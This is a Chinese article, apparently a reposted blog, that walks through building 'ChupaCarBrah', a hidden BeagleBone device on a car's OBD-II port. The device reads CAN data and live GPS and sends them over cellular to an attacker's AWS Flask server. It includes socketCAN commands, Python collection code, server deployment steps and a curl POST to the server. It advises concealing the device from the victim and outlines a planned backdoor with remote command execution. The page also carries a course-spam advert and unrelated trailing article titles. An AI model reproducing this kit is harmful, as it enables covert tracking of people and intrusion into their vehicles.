本文会介绍一种基于Python用于从OBDII端口发送和接收CAN消息的设备,还可以从行驶中的车辆获取实时GPS坐标。所有的CAN和GPS数据都有可能被泄漏到云中,因此可以通过Web浏览器对汽车进行远程监控。这篇文章是关于我在使用开源软件和硬件(python-can / Flask和 BeagleBone®Blue) 进行汽车黑客攻击方面的经验。

很多人学习python,不知道从何学起。
很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手。
很多已经做案例的人,却不知道如何去学习更加高深的知识。
那么针对这三类人,我给大家提供一个好的学习平台,免费领取视频教程,电子书籍,以及课程的源代码!
QQ群:101677771

 https://beagleboard.org/blue

ChupaCarBrah间谍装置

我创建了一个单独的 分步教程,介绍如何构建 本文将使用 的间谍设备 aka ChupaCarBrah。我还共享了在设备上运行的python-can客户端的所有代码;以及在AWS上运行的服务器端Flask应用程序。间谍设备的第一个版本能够跟踪车辆位置并监视CAN数据(例如,发动机RPM,空气温度,VIN等)。所有数据都通过添加到Beaglebone的蜂窝LTE调制解调器进行过滤,JSON格式用于将数据发送到AWS上的Flask应用程序。随着车辆的行驶,云中的JSON数据会实时更新,从而使你可以完全远程监控车辆,就可以在家中对汽车进行攻击了。

 https://youtu.be/7DfXmD9MddE

ChupaCarBrah上路了

作为本文的后续,我计划再发布两篇文章以扩展当前的ChupaCarBrah功能:

第2部分— ECU CAN消息:将显示如何篡改直接连接到ECU的CAN总线(因为OBDII通常仅提供诊断数据)。我将集中精力对CAN消息进行逆向,以将精心制作的命令发送到ECU。出于安全原因,我计划仅分析无危害的命令,例如开锁门,打开电动窗等;

第3部分-车辆RCE:我打算扩展ChupaCarBrah应用程序,以更加用户友好的格式显示正在运行中被窃取的所有数据,例如在地图上绘制的GPS数据。具有实时数据的GUI还将显示来自已解码CAN消息的当前车辆信息(速度,RPM等)。我还计划通过POST端点扩展AWS服务,这将允许通过蜂窝网络创建反向HTTP会话,从而将CAN命令提交给车辆。

0x01 威胁建模

通常,汽车制造商采用的威胁模型是通过在CAN总线和外部网络之间建立隔离来减少车辆的攻击面。分隔可以是物理的(空气间隙)或逻辑的(CAN网关/防火墙)。当确实需要连接CAN和外部网络(例如 V2V 或 IVI )时,网关通过仅沿一种方式转发CAN消息来提供逻辑隔离。

用ChupaCarBrah建模

采用该威胁模型的安全级别将直接取决于,对CAN总线进行物理访问的难度和利用外部连接上的漏洞进入CAN总线的难度。本文的目的是破解它,并以实用的方式展示攻击者可以物理访问车辆并安装ChupaCarbrah时可以采取的措施。间谍设备在隔离的CAN总线和互联网之间建立了桥梁,破坏了制造商的威胁模型。

但是,要使用ChupaCarBrah进行完整的测试,你仍然需要将我在此处显示的内容与其他攻击技术(例如 按键欺骗) 结合起来,才能进入车辆内部。因此,我认为本文暴露的安全风险较低。但是我仍然想让制造商意识到制造商考虑 CAN消息加密解决方案 的重要性,并提醒车主注意无法完全控制车辆的物理通道的情况(例如,代客泊车,洗车,忘记锁门等)。

 https://youtu.be/bo04J5m1si0

ChupaCarBrah安装:不到60秒

一旦进入车内,攻击者就可以快速将ChupaCarBrah连接到OBDII端口,该设备足够小,可以隐藏在仪表板中。所使用的OBDII分离器电缆将在车辆原始连接器的前面提供一个额外的OBDII母连接器。如果攻击者非常狡猾,则可以使用胶水将分离器永久固定在OBDII端口上。这将使受害者最终可以将其他OBDII设备连接到车辆,而不必希望注意到红色的ChupaCarBrah设备。

0x02 汽车黑客概述

有研究者已经很好地分析了使用CAN( 控制器局域网 )进行汽车黑客攻击。如果你想更好地了解汽车供应商如何使用CAN总线来控制你的引擎和其他车辆部件,我建议你看一下 Craig Smith的 《 THE CAR HACKER'S HANDBOOK》 。

我也推荐这篇非常好的文章: Jared Reabow的《如何使用CAN总线破解和升级你的汽车》 。它专门针对CAN,并提供了非常有用的提示,例如如何猜测波特率以及如何查找和接入车辆中的CAN总线。

本文结合了两位作者提出的黑客技术。然后,我通过构建一个简单的BeagleBone间谍设备进一步分析,该设备可通过蜂窝网络与移动中的汽车进行远程交互,同时通过GPS跟踪车辆的位置。

0x03 为什么选择BeagleBone Blue?

长话短说:BeagleBone Blue已经支持CAN,包括CAN收发器。

BeagleBone Blue嵌入式CAN收发器

这意味着,你的电路板不需要额外的hat。基本上,你可以使用两条连接线并将BeagleBone的CAN Hi和CAN Lo引脚分别直接连接到汽车OBDII连接器上的6和14引脚。不仅如此,BeagleBone是一台完整的单板计算机,其 最新映像 已经预装了 SocketCan 。

它还具有嵌入式WiFi网卡,可让你使用CAN工具,而无需将计算机物理连接到汽车上。它将使你可以将设备“嵌入”到汽车中,并使其完全脱离计算机运行。

对于长距离连接,可以使用USB LTE调制解调器(将在下一部分中介绍)。

因此,BeagleBone Blue板是汽车黑客的一个很好的选择,特别是当其他流行的工具(例如 CANtact) 在几乎所有美国分销商 处 都售罄时。如果不想使用开源,可以尝试使用诸如 Macchina.cc之类的 商业产品(我自己还没有尝试过,但是由于它也是基于 BeagleBoard的 ,因此我相信这里介绍的大部分内容仍然适用) 。

0x04 编译ChupaCarBrah

你所需的最少零件是 BeagleBone Blue , JST / SH连接器 和连接线,它们应按如下所示连接:

BeagleBone Blue JST / SH连接器,具有连接到CAN插槽的连接线

确保连接线足够长,以便可以将其正确连接到汽车的OBDII连接器。请记住,如果电线太长,则可能需要扭曲黄色和绿色(CAN Hi和Lo)以接近标准CAN电缆的性能。当然,你始终可以使用真实的 CAN电缆 代替连接线。

BeagleBone Blue已连接到OBDII

这将允许你启动BeagleBone,启动套接字CAN接口以发送和接收CAN消息。这就是开始入侵CAN所需的一切,但是,通过添加一些其他部件,你可以大大提高BeagleBone的能力,以创建完整的ChupaCarBrah间谍设备。我将所有分步说明放在 单独的文章中 来构建你的ChupaCarbrah,这样我就可以保持本文的简洁性,并专注于Python的黑客攻击。

请参阅 ChupaCarBrah-Hackster.io上的BeagleBone和Python 进行 汽车黑客活动, 以获取有关如何创建支持GPS和蜂窝网络的完整间谍设备的完整详细信息。

0x05 发送和接收CAN消息

将BeagleBone连接到OBDII后,按电源按钮启动它,然后通过SSH连接到它。我建议尽可能 使用WiFi 。WIFI传输信息更快,你将在蜂窝数据计划上节省一些钱。你将需要打开点火开关,以便汽车的CAN设备也能“启动”。你可能需要启动引擎,以免损坏汽车的电池。

在使用Python代码之前,请尝试使用socketCAN手动发送和接收一些消息。首先,为can0(可以为零)接口设置波特率并启用它。

 sudo ip link set can0 up type can bitrate 500000sudo ifconfig can0 up

大多数汽车在OBDII总线上使用500kpbs,使用candump收听can0接口上的消息

 sudo candump can0

根据你的车辆,你可能已经在总线上看到CAN消息。如果你的公交车很安静,请打开一个新终端,然后使用cansend发送一些消息:

 sudo cansend can0 7DF#0209020000000000

你应该在运行candump的终端上看到该消息及其响应。如果没有,你可能需要检查接线和/或车辆使用的波特率。你刚刚发送的CAN消息将要求车辆的VIN号,并且响应应该类似于以下截图。

用于获取车辆VIN的CAN消息

VIN编号数据显示在最后3位“ 32 43 34”中,可以将其从十六进制解码为ASCII编码为“ 2C4”:

 echo “32 43 34” | xxd -r -p

VIN数据格式如下:

VIN数据格式

如果将ASCII VIN提供给此 在线NHTSA工具 ,则可以解析你的车辆WMI(世界制造商标识符)并检查其准确性。以我为例,“ 2C4”表示我的车是加拿大制造的道奇车。

既然你已经确认可以使用socketCAN向汽车发送和接收来自汽车的CAN消息,则可以使用Python进行编程:

 import canbus = can.interface.Bus(bustype='socketcan', channel='can0', bitrate=500000)service_int = int("9", 16)pid_int = int("2", 16)msg = can.Message(arbitration_id=0x7DF, data=[2, service_int, pid_int, 0, 0, 0, 0, 0], is_extended_id=False)try:bus.send(msg)response = bus.recv(timeout=2)print(response)except can.CanError:print("CAN error")finally:bus.shutdown()

如果要尝试其他命令,请参考 此表, 并提供可用的可用OBDII PID列表。确保在Python脚本中为变量“ service_int”分配“模式(十六进制)”的整数值,并为变量“ pid_int”分配“ PID(十六进制)”变量的整数值。

例如,如果要读取引擎RPM,请使用以下命令更改脚本的第5行和第6行:

 service_int = int(“1”, 16)pid_int = int(“0C”, 16)

你可以 在此处 找到有关 OBDII PID的 更多文档。

0x06 GPS坐标

要获取GPS数据,只需从ChupaCarBrah设备运行“ tio”命令。

 tio / dev / ttyO2 -b 4800

它会显示很多 GPS NMEA信息 ,但是我们只是为了获取地理位置,你只会对GPRMC 信息感兴趣。

来自ChupaCarBrah的GPS数据

你可以通过复制GPRMC 信息(如地理位置解码$ GPRMC,170454.000,A,3500.87097,N,10641.14163,W,0.00,171.40,100520 ,,, A * 79),这个 在线GPRMC工具 ,它将绘制你的在地图上的确切位置。

GPS GPRMC地理位置在地图上绘制。

你可以使用以下Python脚本检索GPS地理位置GPRMC数据:

 import timeimport serialgps_data = ""utf_data = ""ser = serial.Serial('/dev/ttyO2', 4800)counter = 0while utf_data.find("GPRMC") == -1:counter += 1try:ser_data = ser.readline()utf_data = ser_data.decode()except:utf_data = ""time.sleep(0.5)if counter > 50:breakser.close()if utf_data.find("GPRMC") != -1:utf_data = utf_data.replace('\r', '')utf_data = utf_data.replace('\n', '')gps_data = utf_dataprint(gps_data)

Python代码可检索GPS地理位置坐标。

0x07 连接到蜂窝网络

我将全息图数据计划与Nova HOL-NOVA-R410蜂窝调制解调器一起使用,但是与BeagleBone兼容的任何其他运营商或蜂窝调制解调器都可以正常工作,只要你能够使用蜂窝数据连接到Internet就行。

Hologram的优点是,它们提供了Python SDK。使用数据计划激活SIM卡并安装SDK之后,即可使用此Python脚本。它允许你通过手机以编程方式连接到Internet,并ping Google以检查连接性。

 import psutilimport timeimport subprocessfrom Hologram.CustomCloud import CustomClouddef hologram_network_connect():hologram_network_disconnect()time.sleep(2)cloud = CustomCloud(None, network='cellular')cloud.network.disable_at_sockets_mode()res = cloud.network.connect()message = ""if res:message = "PPP session started"else:message = "Failed to start PPP"print(message)def hologram_network_disconnect():print('Checking for existing PPP sessions')for proc in psutil.process_iter():try:pinfo = proc.as_dict(attrs=['pid', 'name'])except:print("Failed to check for existing PPP sessions")if 'pppd' in pinfo['name']:print('Found existing PPP session on pid: %s' % pinfo['pid'])print('Killing pid %s now' % pinfo['pid'])process = psutil.Process(pinfo['pid'])process.terminate()process.wait()hologram_network_connect()time.sleep(2)ping_response = subprocess.Popen(["/bin/ping", "-c1", "-w100", "www.google.com"], stdout=subprocess.PIPE).stdout.read()print(ping_response.decode())time.sleep(2)hologram_network_disconnect()

Python代码将Hologram蜂窝模式连接到Internet。

请参阅 Hackster.io 上的 ChupaCarBrah教程 ,以获取有关如何安装全息图调制解调器及其SDK的完整详细信息。

0x08 提取数据

首先,你将需要服务器将数据发送到。使用 Github上 可用的Python chupacarbrah_server.py代码,并将其作为服务部署在AWS上。

下面是执行的命令:

 ~$ git clone https://github.com/blupants/chupacarbrah_server.git~$ cd chupacarbrah_server~$ cp chupacarbrah_server.py application.py~$ source virt/bin/activate(virt) ~$ pip install flask==1.0.2(virt) ~$ pip freeze > requirements.txt(virt) ~$ deactivate~$ python3 -m pip install awscli~$ python3 -m pip install awsebcli~$ eb init -p python-3.6 flask-chupacarbrah — region us-east-2~$ $ eb initDo you want to set up SSH for your instances? (y/n): ySelect a keypair. 1) my-keypair 2) [ Create new KeyPair ]~$ eb create chupacarbrah-env~$ eb open

如果你需要进一步的详细说明,请再次参考 Hackster.io 上的 ChupaCarBrah教程 。

服务运行后,记下URL,以便你可以将脚本指向BeagleBone,以在那里发送数据。你可以通过curl发布一些虚拟数据来确认服务已启动并正在运行:

 SERVER_URL= curl — header “Content-Type: application/json” \— request POST \— data ‘{“car_uuid”:”51f317ec266e4adb956212201f87ba52", “VIN”: “2C4”, “maker”: “Generic”, “log”:{“timestamp”:”20200501120000",”GPS”:”00"}}’ \“$SERVER_URL/api/v1/cars”curl “$SERVER_URL/api/v1/status”

在AWS上从ChupaCarBrah服务发布和获取虚拟数据

确认AWS服务正常运行后,用SSH到BeagleBone并从 Github 克隆chupacarbrah。编辑 chupacarbrah.py 脚本,并使用上一步中的AWS服务URL 设置server_url变量。

 git clone  cd chupacarbrahsudo python3 chupacarbrah.py

运行后,ChupaCarBrah客户端将使用 simple.csv 上启用的所有CAN命令,并将它们发送到CAN总线。响应将显示在标准输出上,并发送到/ tmp / chupacarbrah / log文件。每隔1分钟,它还会作为JSON发送到AWS服务。

要停止它,请打开一个新终端(ssh会话)并运行:

 sudo touch /tmp/stop

为了启用/禁用更多 OBDII PID命令 ,你可以通过在“启用”列上将要启用的所有命令设置为1,将要禁用的 命令设置为0 ,来编辑文件 obd2_std_PIDs_enabled.csv 。在启用其他命令之前,请确保你了解这些命令的功能,并知道自己在做什么。你刚刚克隆到BeagleBone的chupacarbrah github存储库上都提供了simple.csv和obd2_std_PIDs_enabled.csv文件。

打开网络浏览器,并监视每分钟更新的JSON数据以及车辆的所有泄漏信息。

来自AWS上ChupaCarBrah服务的样本JSON虚拟数据

你可能需要刷新浏览器上的页面以更新显示的数据。由于它使用JSON格式,因此非常便于创建前端来使用它和/或将其与其他应用程序集成。

至此,本系列的第一部分已经完成,一共是3篇文章。请继续关注下一部分,我将介绍ECU CAN消息并为ChupaCarBrah添加更多功能。最终目标是在车辆中创建一个完整的后门,并支持远程代码执行。

使用Python进行汽车黑客攻击:泄露GPS和OBDIICAN总线数据相关推荐

  1. python arp攻击_ARP欺骗——用Python实现道德黑客攻击的自动化

    当你告诉别人你是一个有道德的黑客时,他们会把你当成一个巫师.好吧,这就是做一个有道德的黑客的意义:有知识.有能力.有良知去做正确的事情!就像魔杖对巫师一样,Python让道德黑客变得更加强大.在上一个 ...

  2. 美国银行Capital One承认被黑客攻击,超1亿个人数据遭窃

    大数据文摘出品 作者:易琬玉 美国最大的银行之一Capital One客户信息服务器被黑,导致超过1亿人的个人数据被窃取. 根据法庭文件,嫌疑犯是33岁的女工程师Paige Thompson,Thom ...

  3. 知名网络漫画XKCD被黑客攻击,约56万用户数据被泄露

    XKCD是国外最受欢迎的人气网络漫画网站,以其令人讨厌的技术幽默和其他充满科学负载的浪漫,数学和语言漫画而闻名,近日它遭受了数据泄露,暴露了其论坛用户的数据. XKCD安全人员:强烈建议受影响的用户立 ...

  4. python怎么实现黑客攻击英国_注意!你的隐私就是这样被黑客获取的

    原标题:注意!你的隐私就是这样被黑客获取的 前段时间,一个名为"给最好的 TA.apk" 流氓软件在网络上被疯狂转发,导致大量用户"沦陷". 有知乎与微博等社区 ...

  5. 汽车成黑客攻击新目标

    本文讲的是 : 汽车成黑客攻击新目标   , IT168 资讯]首先是你的个人电脑,然后是你的手机.现在,你的车会成为黑客们攻击的首要目标吗? 英国<独立报>网站9月18日报道称,这是一个 ...

  6. 昨天,A站受黑客攻击千万条用户数据外泄,量子加密能救得了吗?

    昨天,弹幕视频鼻祖网站AcFun(A站)发公告称其遭受黑客攻击导致近千万条用户数据外泄,建议用户及时更改密码.一周前,A站才被快手全资收购. 2017年11月,Uber称其曾在2016年遭黑客攻击,全 ...

  7. 超级马里奥源代码_太惨了!任天堂遭史上最严重黑客攻击,完整源代码泄露

    本文转载自公众号开源最前线(ID:OpenSourceTop) 猿妹综合整理 综合自:cnbeta.https://www.videogameschronicle.com/news/a-full-ma ...

  8. 特斯拉频繁遭遇黑客攻击,智能汽车都存在安全“漏洞”?如何查找?

    云驰未来是专注智能网联汽车信息安全的产品技术公司,近期重磅发布了国内第一款高度自动化的威胁分析与风险评估(TARA)工具--InTARA,解决了主机厂在TARA分析工作的相关痛点及难题. 随着智能网联 ...

  9. 任天堂遭史上最严重黑客攻击:完整源代码、设计文档及技术演示泄露

    十三 发自 凹非寺 量子位 报道 | 公众号 QbitAI 任天堂的这一波泄露事件,可以说是相当惨烈. 多少文件被泄露? 超过2TB. 涉及什么内容? 完整源代码.设计文档,近乎一切用于构建Wii主机 ...

最新文章

  1. 一个例子探究jQuery的Ajax应用(一)
  2. 科大星云诗社动态20210210
  3. B. MIN-MEX Cut
  4. 上海新中考体育考试方案公布:总分30分不变
  5. 深度好文 | 中间人攻击、ARP欺骗背后的原理及漏洞还原
  6. 生成word_用Word生成员工信息表,单独生成独立文件,还能自动命名
  7. macbook pro忘记开机密码怎么办
  8. 猴子定律--如何跳出你深陷的棋局看趋势
  9. scrapy爬虫数据存入mysql数据库
  10. Python爬虫_线程池实例——北京新发地菜价
  11. mycat的主从关系 垂直分库 水平分表 以及mycat分片联表查询的配置详解(mysql5.7系列)
  12. Oracle数据库常见的增删改查操作语句大全
  13. yara 模式匹配 android,恶意软件模式匹配利器 – YARA
  14. Reactive的值没有响应式
  15. Python获取信用企业的数据
  16. 动态规划——买卖股票的最佳时机含手续费
  17. ps学习资料,很有用的!
  18. 项目管理MOOC-期末
  19. Android开机流程(一)
  20. CRM第六天:客户拜访管理,权限配置,验证码实现

热门文章

  1. 如何在当前目录快速打开cmd
  2. openssh升级后无法登陆解决方案
  3. 用if写一个备份mysql的脚本
  4. 小程序中view的自定义属性获取
  5. rsyslod服务配置
  6. BZOJ 3038: 上帝造题的七分钟2【线段树区间开方问题】
  7. Centos 安装配置gerrit
  8. 磁盘性能分析一:IO负载高的判断详解
  9. LAMP详解及源码编译安装过程
  10. ext/iconv/.libs/iconv.o: In function `_php_iconv_strlen'